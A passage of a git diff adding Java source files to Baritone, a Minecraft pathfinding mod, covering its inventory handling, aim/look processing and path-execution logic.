a/src/baritone/api/utils/interfaces/IGoalRenderPos.java b/src/baritone/api/utils/interfaces/IGoalRenderPos.java new file mode 100644 index 00000000..13e7e686 --- /dev/null +++ b/src/baritone/api/utils/interfaces/IGoalRenderPos.java @@ -0,0 +1,25 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.utils.interfaces; + +import net.minecraft.util.math.BlockPos; + +public interface IGoalRenderPos { + + BlockPos getGoalPos(); +} diff --git a/src/baritone/behavior/Behavior.java b/src/baritone/behavior/Behavior.java new file mode 100644 index 00000000..848beb29 --- /dev/null +++ b/src/baritone/behavior/Behavior.java @@ -0,0 +1,39 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.behavior; + +import baritone.Baritone; +import baritone.api.behavior.IBehavior; +import baritone.api.utils.IPlayerContext; + +/** + * A type of game event listener that is given {@link Baritone} instance context. + * + * @author Brady + * @since 8/1/2018 + */ +public class Behavior implements IBehavior { + + public final Baritone baritone; + public final IPlayerContext ctx; + + protected Behavior(Baritone baritone) { + this.baritone = baritone; + this.ctx = baritone.getPlayerContext(); + } +} diff --git a/src/baritone/behavior/InventoryBehavior.java b/src/baritone/behavior/InventoryBehavior.java new file mode 100644 index 00000000..b1a30c02 --- /dev/null +++ b/src/baritone/behavior/InventoryBehavior.java @@ -0,0 +1,233 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.behavior; + +import baritone.Baritone; +import baritone.api.event.events.TickEvent; +import baritone.api.utils.Helper; +import baritone.utils.ToolSet; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.block.Blocks; +import net.minecraft.client.entity.player.ClientPlayerEntity; +import net.minecraft.inventory.container.ClickType; +import net.minecraft.item.*; +import net.minecraft.util.Direction; +import net.minecraft.util.Hand; +import net.minecraft.util.NonNullList; +import net.minecraft.util.math.BlockRayTraceResult; +import net.minecraft.util.math.vector.Vector3d; + +import java.util.ArrayList; +import java.util.OptionalInt; +import java.util.Random; +import java.util.function.Predicate; + +public final class InventoryBehavior extends Behavior implements Helper { + + int ticksSinceLastInventoryMove; + int[] lastTickRequestedMove; // not everything asks every tick, so remember the request while coming to a halt + + public InventoryBehavior(Baritone baritone) { + super(baritone); + } + + @Override + public void onTick(TickEvent event) { + if (!Baritone.settings().allowInventory.value) { + return; + } + if (event.getType() == TickEvent.Type.OUT) { + return; + } + if (ctx.player().openContainer != ctx.player().container) { + // we have a crafting table or a chest or something open + return; + } + ticksSinceLastInventoryMove++; + if (firstValidThrowaway() >= 9) { // aka there are none on the hotbar, but there are some in main inventory + requestSwapWithHotBar(firstValidThrowaway(), 8); + } + int pick = bestToolAgainst(Blocks.STONE, PickaxeItem.class); + if (pick >= 9) { + requestSwapWithHotBar(pick, 0); + } + if (lastTickRequestedMove != null) { + logDebug("Remembering to move " + lastTickRequestedMove[0] + " " + lastTickRequestedMove[1] + " from a previous tick"); + requestSwapWithHotBar(lastTickRequestedMove[0], lastTickRequestedMove[1]); + } + } + + public boolean attemptToPutOnHotbar(int inMainInvy, Predicate disallowedHotbar) { + OptionalInt destination = getTempHotbarSlot(disallowedHotbar); + if (destination.isPresent()) { + if (!requestSwapWithHotBar(inMainInvy, destination.getAsInt())) { + return false; + } + } + return true; + } + + public OptionalInt getTempHotbarSlot(Predicate disallowedHotbar) { + // we're using 0 and 8 for pickaxe and throwaway + ArrayList candidates = new ArrayList<>(); + for (int i = 1; i < 8; i++) { + if (ctx.player().inventory.mainInventory.get(i).isEmpty() && !disallowedHotbar.test(i)) { + candidates.add(i); + } + } + if (candidates.isEmpty()) { + for (int i = 1; i < 8; i++) { + if (!disallowedHotbar.test(i)) { + candidates.add(i); + } + } + } + if (candidates.isEmpty()) { + return OptionalInt.empty(); + } + return OptionalInt.of(candidates.get(new Random().nextInt(candidates.size()))); + } + + private boolean requestSwapWithHotBar(int inInventory, int inHotbar) { + lastTickRequestedMove = new int[]{inInventory, inHotbar}; + if (ticksSinceLastInventoryMove < Baritone.settings().ticksBetweenInventoryMoves.value) { + logDebug("Inventory move requested but delaying " + ticksSinceLastInventoryMove + " " + Baritone.settings().ticksBetweenInventoryMoves.value); + return false; + } + if (Baritone.settings().inventoryMoveOnlyIfStationary.value && !baritone.getInventoryPauserProcess().stationaryForInventoryMove()) { + logDebug("Inventory move requested but delaying until stationary"); + return false; + } + ctx.playerController().windowClick(ctx.player().container.windowId, inInventory < 9 ? inInventory + 36 : inInventory, inHotbar, ClickType.SWAP, ctx.player()); + ticksSinceLastInventoryMove = 0; + lastTickRequestedMove = null; + return true; + } + + private int firstValidThrowaway() { // TODO offhand idk + NonNullList invy = ctx.player().inventory.mainInventory; + for (int i = 0; i < invy.size(); i++) { + if (Baritone.settings().acceptableThrowawayItems.value.contains(invy.get(i).getItem())) { + return i; + } + } + return -1; + } + + private int bestToolAgainst(Block against, Class cla$$) { + NonNullList invy = ctx.player().inventory.mainInventory; + int bestInd = -1; + double bestSpeed = -1; + for (int i = 0; i < invy.size(); i++) { + ItemStack stack = invy.get(i); + if (stack.isEmpty()) { + continue; + } + if (Baritone.settings().itemSaver.value && (stack.getDamage() + Baritone.settings().itemSaverThreshold.value) >= stack.getMaxDamage() && stack.getMaxDamage() > 1) { + continue; + } + if (cla$$.isInstance(stack.getItem())) { + double speed = ToolSet.calculateSpeedVsBlock(stack, against.getDefaultState()); // takes into account enchants + if (speed > bestSpeed) { + bestSpeed = speed; + bestInd = i; + } + } + } + return bestInd; + } + + public boolean hasGenericThrowaway() { + for (Item item : Baritone.settings().acceptableThrowawayItems.value) { + if (throwaway(false, stack -> item.equals(stack.getItem()))) { + return true; + } + } + return false; + } + + public boolean selectThrowawayForLocation(boolean select, int x, int y, int z) { + BlockState maybe = baritone.getBuilderProcess().placeAt(x, y, z, baritone.bsi.get0(x, y, z)); + if (maybe != null && throwaway(select, stack -> stack.getItem() instanceof BlockItem && maybe.equals(((BlockItem) stack.getItem()).getBlock().getStateForPlacement(new BlockItemUseContext(new ItemUseContext(ctx.world(), ctx.player(), Hand.MAIN_HAND, stack, new BlockRayTraceResult(new Vector3d(ctx.player().getPositionVec().x, ctx.player().getPositionVec().y, ctx.player().getPositionVec().z), Direction.UP, ctx.playerFeet(), false)) {}))))) { + return true; // gotem + } + if (maybe != null && throwaway(select, stack -> stack.getItem() instanceof BlockItem && ((BlockItem) stack.getItem()).getBlock().equals(maybe.getBlock()))) { + return true; + } + for (Item item : Baritone.settings().acceptableThrowawayItems.value) { + if (throwaway(select, stack -> item.equals(stack.getItem()))) { + return true; + } + } + return false; + } + + public boolean throwaway(boolean select, Predicate desired) { + return throwaway(select, desired, Baritone.settings().allowInventory.value); + } + + public boolean throwaway(boolean select, Predicate desired, boolean allowInventory) { + ClientPlayerEntity p = ctx.player(); + NonNullList inv = p.inventory.mainInventory; + for (int i = 0; i < 9; i++) { + ItemStack item = inv.get(i); + // this usage of settings() is okay because it's only called once during pathing + // (while creating the CalculationContext at the very beginning) + // and then it's called during execution + // since this function is never called during cost calculation, we don't need to migrate + // acceptableThrowawayItems to the CalculationContext + if (desired.test(item)) { + if (select) { + p.inventory.currentItem = i; + } + return true; + } + } + if (desired.test(p.inventory.offHandInventory.get(0))) { + // main hand takes precedence over off hand + // that means that if we have block A selected in main hand and block B in off hand, right clicking places block B + // we've already checked above ^ and the main hand can't possible have an acceptablethrowawayitem + // so we need to select in the main hand something that doesn't right click + // so not a shovel, not a hoe, not a block, etc + for (int i = 0; i < 9; i++) { + ItemStack item = inv.get(i); + if (item.isEmpty() || item.getItem() instanceof PickaxeItem) { + if (select) { + p.inventory.currentItem = i; + } + return true; + } + } + } + + if (allowInventory) { + for (int i = 9; i < 36; i++) { + if (desired.test(inv.get(i))) { + if (select) { + requestSwapWithHotBar(i, 7); + p.inventory.currentItem = 7; + } + return true; + } + } + } + + return false; + } +} diff --git a/src/baritone/behavior/LookBehavior.java b/src/baritone/behavior/LookBehavior.java new file mode 100644 index 00000000..5d0653a3 --- /dev/null +++ b/src/baritone/behavior/LookBehavior.java @@ -0,0 +1,332 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.behavior; + +import baritone.Baritone; +import baritone.api.Settings; +import baritone.api.behavior.ILookBehavior; +import baritone.api.behavior.look.IAimProcessor; +import baritone.api.behavior.look.ITickableAimProcessor; +import baritone.api.event.events.*; +import baritone.api.utils.IPlayerContext; +import baritone.api.utils.Rotation; +import baritone.behavior.look.ForkableRandom; +import net.minecraft.network.play.client.CPlayerPacket; + +import java.util.Optional; + +public final class LookBehavior extends Behavior implements ILookBehavior { + + /** + * The current look target, may be {@code null}. + */ + private Target target; + + /** + * The rotation known to the server. Returned by {@link #getEffectiveRotation()} for use in {@link IPlayerContext}. + */ + private Rotation serverRotation; + + /** + * The last player rotation. Used to restore the player's angle when using free look. + * + * @see Settings#freeLook + */ + private Rotation prevRotation; + + private final AimProcessor processor; + + public LookBehavior(Baritone baritone) { + super(baritone); + this.processor = new AimProcessor(baritone.getPlayerContext()); + } + + @Override + public void updateTarget(Rotation rotation, boolean blockInteract) { + this.target = new Target(rotation, blockInteract); + } + + @Override + public IAimProcessor getAimProcessor() { + return this.processor; + } + + @Override + public void onTick(TickEvent event) { + if (event.getType() == TickEvent.Type.IN) { + this.processor.tick(); + } + } + + @Override + public void onPlayerUpdate(PlayerUpdateEvent event) { + if (this.target == null) { + return; + } + switch (event.getState()) { + case PRE: { + if (this.target.mode == Target.Mode.NONE) { + // Just return for PRE, we still want to set target to null on POST + return; + } + if (this.target.mode == Target.Mode.SERVER) { + this.prevRotation = new Rotation(ctx.player().rotationYaw, ctx.player().rotationPitch); + } + + final Rotation actual = this.processor.peekRotation(this.target.rotation); + ctx.player().rotationYaw = actual.getYaw(); + ctx.player().rotationPitch = actual.getPitch(); + break; + } + case POST: { + // Reset the player's rotations back to their original values + if (this.prevRotation != null) { + ctx.player().rotationYaw = this.prevRotation.getYaw(); + ctx.player().rotationPitch = this.prevRotation.getPitch(); + this.prevRotation = null; + } + // The target is done being used for this game tick, so it can be invalidated + this.target = null; + break; + } + default: + break; + } + } + + @Override + public void onSendPacket(PacketEvent event) { + if (!(event.getPacket() instanceof CPlayerPacket)) { + return; + } + + final CPlayerPacket packet = (CPlayerPacket) event.getPacket(); + if (packet instanceof CPlayerPacket.RotationPacket || packet instanceof CPlayerPacket.PositionRotationPacket) { + this.serverRotation = new Rotation(packet.getYaw(0.0f), packet.getPitch(0.0f)); + } + } + + @Override + public void onWorldEvent(WorldEvent event) { + this.serverRotation = null; + this.target = null; + } + + public void pig() { + if (this.target != null) { + final Rotation actual = this.processor.peekRotation(this.target.rotation); + ctx.player().rotationYaw = actual.getYaw(); + } + } + + public Optional getEffectiveRotation() { + if (Baritone.settings().freeLook.value) { + return Optional.ofNullable(this.serverRotation); + } + // If freeLook isn't on, just defer to the player's actual rotations + return Optional.empty(); + } + + @Override + public void onPlayerRotationMove(RotationMoveEvent event) { + if (this.target != null) { + final Rotation actual = this.processor.peekRotation(this.target.rotation); + event.setYaw(actual.getYaw()); + event.setPitch(actual.getPitch()); + } + } + + private static final class AimProcessor extends AbstractAimProcessor { + + public AimProcessor(final IPlayerContext ctx) { + super(ctx); + } + + @Override + protected Rotation getPrevRotation() { + // Implementation will use LookBehavior.serverRotation + return ctx.playerRotations(); + } + } + + private static abstract class AbstractAimProcessor implements ITickableAimProcessor { + + protected final IPlayerContext ctx; + private final ForkableRandom rand; + private double randomYawOffset; + private double randomPitchOffset; + + public AbstractAimProcessor(IPlayerContext ctx) { + this.ctx = ctx; + this.rand = new ForkableRandom(); + } + + private AbstractAimProcessor(final AbstractAimProcessor source) { + this.ctx = source.ctx; + this.rand = source.rand.fork(); + this.randomYawOffset = source.randomYawOffset; + this.randomPitchOffset = source.randomPitchOffset; + } + + @Override + public final Rotation peekRotation(final Rotation rotation) { + final Rotation prev = this.getPrevRotation(); + + float desiredYaw = rotation.getYaw(); + float desiredPitch = rotation.getPitch(); + + // In other words, the target doesn't care about the pitch, so it used playerRotations().getPitch() + // and it's safe to adjust it to a normal level + if (desiredPitch == prev.getPitch()) { + desiredPitch = nudgeToLevel(desiredPitch); + } + + desiredYaw += this.randomYawOffset; + desiredPitch += this.randomPitchOffset; + + return new Rotation( + this.calculateMouseMove(prev.getYaw(), desiredYaw), + this.calculateMouseMove(prev.getPitch(), desiredPitch) + ).clamp(); + } + + @Override + public final void tick() { + // randomLooking + this.randomYawOffset = (this.rand.nextDouble() - 0.5) * Baritone.settings().randomLooking.value; + this.randomPitchOffset = (this.rand.nextDouble() - 0.5) * Baritone.settings().randomLooking.value; + + // randomLooking113 + double random = this.rand.nextDouble() - 0.5; + if (Math.abs(random) < 0.1) { + random *= 4; + } + this.randomYawOffset += random * Baritone.settings().randomLooking113.value; + } + + @Override + public final void advance(int ticks) { + for (int i = 0; i < ticks; i++) { + this.tick(); + } + } + + @Override + public Rotation nextRotation(final Rotation rotation) { + final Rotation actual = this.peekRotation(rotation); + this.tick(); + return actual; + } + + @Override + public final ITickableAimProcessor fork() { + return new AbstractAimProcessor(this) { + + private Rotation prev = AbstractAimProcessor.this.getPrevRotation(); + + @Override + public Rotation nextRotation(final Rotation rotation) { + return (this.prev = super.nextRotation(rotation)); + } + + @Override + protected Rotation getPrevRotation() { + return this.prev; + } + }; + } + + protected abstract Rotation getPrevRotation(); + + /** + * Nudges the player's pitch to a regular level. (Between {@code -20} and {@code 10}, increments are by {@code 1}) + */ + private float nudgeToLevel(float pitch) { + if (pitch < -20) { + return pitch + 1; + } else if (pitch > 10) { + return pitch - 1; + } + return pitch; + } + + // The game uses rotation = (float) ((double) rotation + delta) so we'll do that as well + private float calculateMouseMove(float current, float target) { + final double delta = target - current; + final double deltaPx = angleToMouse(delta); // yes, even the mouse movements use double + return (float) ((double) current + mouseToAngle(deltaPx)); + } + + private double angleToMouse(double angleDelta) { + final double minAngleChange = mouseToAngle(1); + return Math.round(angleDelta / minAngleChange); + } + + private double mouseToAngle(double mouseDelta) { + // casting float literals to double gets us the precise values used by mc + final double f = ctx.minecraft().gameSettings.mouseSensitivity * (double) 0.6f + (double) 0.2f; + return mouseDelta * f * f * f * 8.0d * 0.15d; + } + } + + private static class Target { + + public final Rotation rotation; + public final Mode mode; + + public Target(Rotation rotation, boolean blockInteract) { + this.rotation = rotation; + this.mode = Mode.resolve(blockInteract); + } + + enum Mode { + /** + * Rotation will be set client-side and is visual to the player + */ + CLIENT, + + /** + * Rotation will be set server-side and is silent to the player + */ + SERVER, + + /** + * Rotation will remain unaffected on both the client and server + */ + NONE; + + static Mode resolve(boolean blockInteract) { + final Settings settings = Baritone.settings(); + final boolean antiCheat = settings.antiCheatCompatibility.value; + final boolean blockFreeLook = settings.blockFreeLook.value; + final boolean freeLook = settings.freeLook.value; + + if (!freeLook) return CLIENT; + if (!blockFreeLook && blockInteract) return CLIENT; + + // Regardless of if antiCheatCompatibility is enabled, if a blockInteract is requested then the player + // rotation needs to be set somehow, otherwise Baritone will halt since objectMouseOver() will just be + // whatever the player is mousing over visually. Let's just settle for setting it silently. + if (antiCheat || blockInteract) return SERVER; + + // Pathing regularly without antiCheatCompatibility, don't set the player rotation + return NONE; + } + } + } +} diff --git a/src/baritone/behavior/PathingBehavior.java b/src/baritone/behavior/PathingBehavior.java new file mode 100644 index 00000000..d93913f3 --- /dev/null +++ b/src/baritone/behavior/PathingBehavior.java @@ -0,0 +1,569 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.behavior; + +import baritone.Baritone; +import baritone.api.behavior.IPathingBehavior; +import baritone.api.event.events.*; +import baritone.api.pathing.calc.IPath; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.goals.GoalXZ; +import baritone.api.process.PathingCommand; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.Helper; +import baritone.api.utils.PathCalculationResult; +import baritone.api.utils.interfaces.IGoalRenderPos; +import baritone.pathing.calc.AStarPathFinder; +import baritone.pathing.calc.AbstractNodeCostSearch; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.MovementHelper; +import baritone.pathing.path.PathExecutor; +import baritone.utils.PathRenderer; +import baritone.utils.PathingCommandContext; +import baritone.utils.pathing.Favoring; +import net.minecraft.util.math.BlockPos; + +import java.util.ArrayList; +import java.util.Comparator; +import java.util.Objects; +import java.util.Optional; +import java.util.concurrent.LinkedBlockingQueue; + +public final class PathingBehavior extends Behavior implements IPathingBehavior, Helper { + + private PathExecutor current; + private PathExecutor next; + + private Goal goal; + private CalculationContext context; + + /*eta*/ + private int ticksElapsedSoFar; + private BetterBlockPos startPosition; + + private boolean safeToCancel; + private boolean pauseRequestedLastTick; + private boolean unpausedLastTick; + private boolean pausedThisTick; + private boolean cancelRequested; + private boolean calcFailedLastTick; + + private volatile AbstractNodeCostSearch inProgress; + private final Object pathCalcLock = new Object(); + + private final Object pathPlanLock = new Object(); + + private boolean lastAutoJump; + + private BetterBlockPos expectedSegmentStart; + + private final LinkedBlockingQueue toDispatch = new LinkedBlockingQueue<>(); + + public PathingBehavior(Baritone baritone) { + super(baritone); + } + + private void queuePathEvent(PathEvent event) { + toDispatch.add(event); + } + + private void dispatchEvents() { + ArrayList curr = new ArrayList<>(); + toDispatch.drainTo(curr); + calcFailedLastTick = curr.contains(PathEvent.CALC_FAILED); + for (PathEvent event : curr) { + baritone.getGameEventHandler().onPathEvent(event); + } + } + + @Override + public void onTick(TickEvent event) { + dispatchEvents(); + if (event.getType() == TickEvent.Type.OUT) { + secretInternalSegmentCancel(); + baritone.getPathingControlManager().cancelEverything(); + return; + } + + expectedSegmentStart = pathStart(); + baritone.getPathingControlManager().preTick(); + tickPath(); + ticksElapsedSoFar++; + dispatchEvents(); + } + + @Override + public void onPlayerSprintState(SprintStateEvent event) { + if (isPathing()) { + event.setState(current.isSprinting()); + } + } + + private void tickPath() { + pausedThisTick = false; + if (pauseRequestedLastTick && safeToCancel) { + pauseRequestedLastTick = false; + if (unpausedLastTick) { + baritone.getInputOverrideHandler().clearAllKeys(); + baritone.getInputOverrideHandler().getBlockBreakHelper().stopBreakingBlock(); + } + unpausedLastTick = false; + pausedThisTick = true; + return; + } + unpausedLastTick = true; + if (cancelRequested) { + cancelRequested = false; + baritone.getInputOverrideHandler().clearAllKeys(); + } + synchronized (pathPlanLock) { + synchronized (pathCalcLock) { + if (inProgress != null) { + // we are calculating + // are we calculating the right thing though? 🤔 + BetterBlockPos calcFrom = inProgress.getStart(); + Optional currentBest = inProgress.bestPathSoFar(); + if ((current == null || !current.getPath().getDest().equals(calcFrom)) // if current ends in inProgress's start, then we're ok + && !calcFrom.equals(ctx.playerFeet()) && !calcFrom.equals(expectedSegmentStart) // if current starts in our playerFeet or pathStart, then we're ok + && (!currentBest.isPresent() || (!currentBest.get().positions().contains(ctx.playerFeet()) && !currentBest.get().positions().contains(expectedSegmentStart))) // if + ) { + // when it was *just* started, currentBest will be empty so we need to also check calcFrom since that's always present + inProgress.cancel(); // cancellation doesn't dispatch any events + } + } + } + if (current == null) { + return; + } + safeToCancel = current.onTick(); + if (current.failed() || current.finished()) { + current = null; + if (goal == null || goal.isInGoal(ctx.playerFeet())) { + logDebug("All done. At " + goal); + queuePathEvent(PathEvent.AT_GOAL); + next = null; + if (Baritone.settings().disconnectOnArrival.value) { + ctx.world().sendQuittingDisconnectingPacket(); + } + return; + } + if (next != null && !next.getPath().positions().contains(ctx.playerFeet()) && !next.getPath().positions().contains(expectedSegmentStart)) { // can contain either one + // if the current path failed, we may not actually be on the next one, so make sure + logDebug("Discarding next path as it does not contain current position"); + // for example if we had a nicely planned ahead path that starts where current ends + // that's all fine and good + // but if we fail in the middle of current + // we're nowhere close to our planned ahead path + // so need to discard it sadly. + queuePathEvent(PathEvent.DISCARD_NEXT); + next = null; + } + if (next != null) { + logDebug("Continuing on to planned next path"); + queuePathEvent(PathEvent.CONTINUING_ONTO_PLANNED_NEXT); + current = next; + next = null; + current.onTick(); // don't waste a tick doing nothing, get started right away + return; + } + // at this point, current just ended, but we aren't in the goal and have no plan for the future + synchronized (pathCalcLock) { + if (inProgress != null) { + queuePathEvent(PathEvent.PATH_FINISHED_NEXT_STILL_CALCULATING); + return; + } + // we aren't calculating + queuePathEvent(PathEvent.CALC_STARTED); + findPathInNewThread(expectedSegmentStart, true, context); + } + return; + } + // at this point, we know current is in progress + if (safeToCancel && next != null && next.snipsnapifpossible()) { + // a movement just ended; jump directly onto the next path + logDebug("Splicing into planned next path early..."); + queuePathEvent(PathEvent.SPLICING_ONTO_NEXT_EARLY); + current = next; + next = null; + current.onTick(); + return; + } + if (Baritone.settings().splicePath.value) { + current = current.trySplice(next); + } + if (next != null && current.getPath().getDest().equals(next.getPath().getDest())) { + next = null; + } + synchronized (pathCalcLock) { + if (inProgress != null) { + // if we aren't calculating right now + return; + } + if (next != null) { + // and we have no plan for what to do next + return; + } + if (goal == null || goal.isInGoal(current.getPath().getDest())) { + // and this path doesn't get us all the way there + return; + } + if (ticksRemainingInSegment(false).get() < Baritone.settings().planningTickLookahead.value) { + // and this path has 7.5 seconds or less left + // don't include the current movement so a very long last movement (e.g. descend) doesn't trip it up + // if we actually included current, it wouldn't start planning ahead until the last movement was done, if the last movement took more than 7.5 seconds on its own + logDebug("Path almost over. Planning ahead..."); + queuePathEvent(PathEvent.NEXT_SEGMENT_CALC_STARTED); + findPathInNewThread(current.getPath().getDest(), false, context); + } + } + } + } + + @Override + public void onPlayerUpdate(PlayerUpdateEvent event) { + if (current != null) { + switch (event.getState()) { + case PRE: + lastAutoJump = ctx.minecraft().gameSettings.autoJump; + ctx.minecraft().gameSettings.autoJump = false; + break; + case POST: + ctx.minecraft().gameSettings.autoJump = lastAutoJump; + break; + default: + break; + } + } + } + + public void secretInternalSetGoal(Goal goal) { + this.goal = goal; + } + + public boolean secretInternalSetGoalAndPath(PathingCommand command) { + secretInternalSetGoal(command.goal); + if (command instanceof PathingCommandContext) { + context = ((PathingCommandContext) command).desiredCalcContext; + } else { + context = new CalculationContext(baritone, true); + } + if (goal == null) { + return false; + } + if (goal.isInGoal(ctx.playerFeet()) || goal.isInGoal(expectedSegmentStart)) { + return false; + } + synchronized (pathPlanLock) { + if (current != null) { + return false; + } + synchronized (pathCalcLock) { + if (inProgress != null) { + return false; + } + queuePathEvent(PathEvent.CALC_STARTED); + findPathInNewThread(expectedSegmentStart, true, context); + return true; + } + } + } + + @Override + public Goal getGoal() { + return goal; + } + + @Override + public boolean isPathing() { + return hasPath() && !pausedThisTick; + } + + @Override + public PathExecutor getCurrent() { + return current; + } + + @Override + public PathExecutor getNext() { + return next; + } + + @Override + public Optional getInProgress() { + return Optional.ofNullable(inProgress); + } + + public boolean isSafeToCancel() { + return current == null || safeToCancel; + } + + public void requestPause() { + pauseRequestedLastTick = true; + } + + public boolean cancelSegmentIfSafe() { + if (isSafeToCancel()) { + secretInternalSegmentCancel(); + return true; + } + return false; + } + + @Override + public boolean cancelEverything() { + boolean doIt = isSafeToCancel(); + if (doIt) { + secretInternalSegmentCancel(); + } + baritone.getPathingControlManager().cancelEverything(); // regardless of if we can stop the current segment, we can still stop the processes + return doIt; + } + + public boolean calcFailedLastTick() { // NOT exposed on public api + return calcFailedLastTick; + } + + public void softCancelIfSafe() { + synchronized (pathPlanLock) { + getInProgress().ifPresent(AbstractNodeCostSearch::cancel); // only cancel ours + if (!isSafeToCancel()) { + return; + } + current = null; + next = null; + } + cancelRequested = true; + // do everything BUT clear keys + } + + // just cancel the current path + private void secretInternalSegmentCancel() { + queuePathEvent(PathEvent.CANCELED); + synchronized (pathPlanLock) { + getInProgress().ifPresent(AbstractNodeCostSearch::cancel); + if (current != null) { + current = null; + next = null; + baritone.getInputOverrideHandler().clearAllKeys(); + baritone.getInputOverrideHandler().getBlockBreakHelper().stopBreakingBlock(); + } + } + } + + @Override + public void forceCancel() { // exposed on public api because :sob: + cancelEverything(); + secretInternalSegmentCancel(); + synchronized (pathCalcLock) { + inProgress = null; + } + } + + public CalculationContext secretInternalGetCalculationContext() { + return context; + } + + public Optional estimatedTicksToGoal() { + BetterBlockPos currentPos = ctx.playerFeet(); + if (goal == null || currentPos == null || startPosition == null) { + return Optional.empty(); + } + if (goal.isInGoal(ctx.playerFeet())) { + resetEstimatedTicksToGoal(); + return Optional.of(0.0); + } + if (ticksElapsedSoFar == 0) { + return Optional.empty(); + } + double current = goal.heuristic(currentPos.x, currentPos.y, currentPos.z); + double start = goal.heuristic(startPosition.x, startPosition.y, startPosition.z); + if (current == start) {// can't check above because current and start can be equal even if currentPos and startPosition are not + return Optional.empty(); + } + double eta = Math.abs(current - goal.heuristic()) * ticksElapsedSoFar / Math.abs(start - current); + return Optional.of(eta); + } + + private void resetEstimatedTicksToGoal() { + resetEstimatedTicksToGoal(expectedSegmentStart); + } + + private void resetEstimatedTicksToGoal(BlockPos start) { + resetEstimatedTicksToGoal(new BetterBlockPos(start)); + } + + private void resetEstimatedTicksToGoal(BetterBlockPos start) { + ticksElapsedSoFar = 0; + startPosition = start; + } + + /** + * See issue #209 + * + * @return The starting {@link BlockPos} for a new path + */ + public BetterBlockPos pathStart() { // TODO move to a helper or util class + BetterBlockPos feet = ctx.playerFeet(); + if (!MovementHelper.canWalkOn(ctx, feet.down())) { + if (ctx.player().isOnGround()) { + double playerX = ctx.player().getPositionVec().x; + double playerZ = ctx.player().getPositionVec().z; + ArrayList closest = new ArrayList<>(); + for (int dx = -1; dx <= 1; dx++) { + for (int dz = -1; dz <= 1; dz++) { + closest.add(new BetterBlockPos(feet.x + dx, feet.y, feet.z + dz)); + } + } + closest.sort(Comparator.comparingDouble(pos -> ((pos.x + 0.5D) - playerX) * ((pos.x + 0.5D) - playerX) + ((pos.z + 0.5D) - playerZ) * ((pos.z + 0.5D) - playerZ))); + for (int i = 0; i < 4; i++) { + BetterBlockPos possibleSupport = closest.get(i); + double xDist = Math.abs((possibleSupport.x + 0.5D) - playerX); + double zDist = Math.abs((possibleSupport.z + 0.5D) - playerZ); + if (xDist > 0.8 && zDist > 0.8) { + // can't possibly be sneaking off of this one, we're too far away + continue; + } + if (MovementHelper.canWalkOn(ctx, possibleSupport.down()) && MovementHelper.canWalkThrough(ctx, possibleSupport) && MovementHelper.canWalkThrough(ctx, possibleSupport.up())) { + // this is plausible + //logDebug("Faking path start assuming player is standing off the edge of a block"); + return possibleSupport; + } + } + + } else { + // !onGround + // we're in the middle of a jump + if (MovementHelper.canWalkOn(ctx, feet.down().down())) { + //logDebug("Faking path start assuming player is midair and falling"); + return feet.down(); + } + } + } + return feet; + } + + /** + * In a new thread, pathfind to target blockpos + * + * @param start + * @param talkAboutIt + */ + private void findPathInNewThread(final BlockPos start, final boolean talkAboutIt, CalculationContext context) { + // this must be called with synchronization on pathCalcLock! + // actually, we can check this, muahaha + if (!Thread.holdsLock(pathCalcLock)) { + throw new IllegalStateException("Must be called with synchronization on pathCalcLock"); + // why do it this way? it's already indented so much that putting the whole thing in a synchronized(pathCalcLock) was just too much lol + } + if (inProgress != null) { + throw new IllegalStateException("Already doing it"); // should have been checked by caller + } + if (!context.safeForThreadedUse) { + throw new IllegalStateException("Improper context thread safety level"); + } + Goal goal = this.goal; + if (goal == null) { + logDebug("no goal"); // TODO should this be an exception too? definitely should be checked by caller + return; + } + long primaryTimeout; + long failureTimeout; + if (current == null) { + primaryTimeout = Baritone.settings().primaryTimeoutMS.value; + failureTimeout = Baritone.settings().failureTimeoutMS.value; + } else { + primaryTimeout = Baritone.settings().planAheadPrimaryTimeoutMS.value; + failureTimeout = 